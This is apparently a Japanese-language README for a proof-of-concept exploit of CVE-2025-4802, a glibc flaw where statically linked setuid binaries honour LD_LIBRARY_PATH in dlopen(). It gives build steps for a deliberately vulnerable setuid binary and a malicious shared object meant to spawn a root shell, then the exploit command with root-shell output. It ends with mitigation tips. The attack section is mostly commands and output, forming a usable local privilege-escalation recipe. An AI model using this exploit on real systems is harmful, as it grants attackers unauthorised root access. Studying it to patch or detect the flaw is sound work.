
静的にコンパイルされ、LD_LIBRARY_PATHを使用したdlopenに対して脆弱なsetuidバイナリの概念実証
⚠️ 免責事項: このリポジトリは教育および正規のセキュリティ研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。不正使用は法律や規制に違反する可能性があります。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-4802 |
| 影響を受けるソフトウェア | GNU C Library (glibc) |
| 影響を受けるバージョン | 2.27 – 2.38 |
| 脆弱性の種類 | 信頼できない LD_LIBRARY_PATH による権限昇格 |
| 攻撃ベクトル | ローカル |
GNU C Library (glibc) バージョン 2.27 から 2.38 における脆弱性により、攻撃者は dlopen() を呼び出す静的リンクされた setuid バイナリの LD_LIBRARY_PATH 環境変数を悪用できます。
通常、動的リンカは setuid プログラムに対して LD_LIBRARY_PATH をサニタイズします。しかし、静的にリンクされたバイナリは動的リンカを完全にバイパスするため、LD_LIBRARY_PATH は決してクリアされません。そのようなバイナリが dlopen() を(直接、または setlocale() や getaddrinfo() のような NSS 関数を介して間接的に)呼び出すと、glibc は攻撃者が制御する LD_LIBRARY_PATH を使用して共有ライブラリを解決し、昇格された権限で任意のコードを実行できるようになります。
dlopen("myso.so", ...) を呼び出して、共有オブジェクトを名前で(絶対パスではなく)ロードします。ld-linux.so)は実行されず、LD_LIBRARY_PATH はサニタイズされません。hello() シンボルをエクスポートするが、ルートシェルを起動する悪意のある共有オブジェクト(myso.so)を作成します。LD_LIBRARY_PATH を、悪意のあるライブラリが含まれるディレクトリを指すように設定します。.
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version で確認)gcc, makemake all
または手動:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
期待される出力:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH を使用したエクスプロイト(悪意のある動作)LD_LIBRARY_PATH=./evil_library ./main
期待される出力:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
バイナリは正当な myso.so の代わりに evil_library/ から攻撃者の myso.so をロードし、ルートシェルを起動します。

ビデオチュートリアルも利用可能です: proof_of_concept_video.mp4
dlopen() を使用する setuid バイナリでは静的リンクを避けるdlopen() の呼び出しでは、ベアなライブラリ名ではなく絶対パスを使用するdlopen() を呼び出す前に権限をドロップする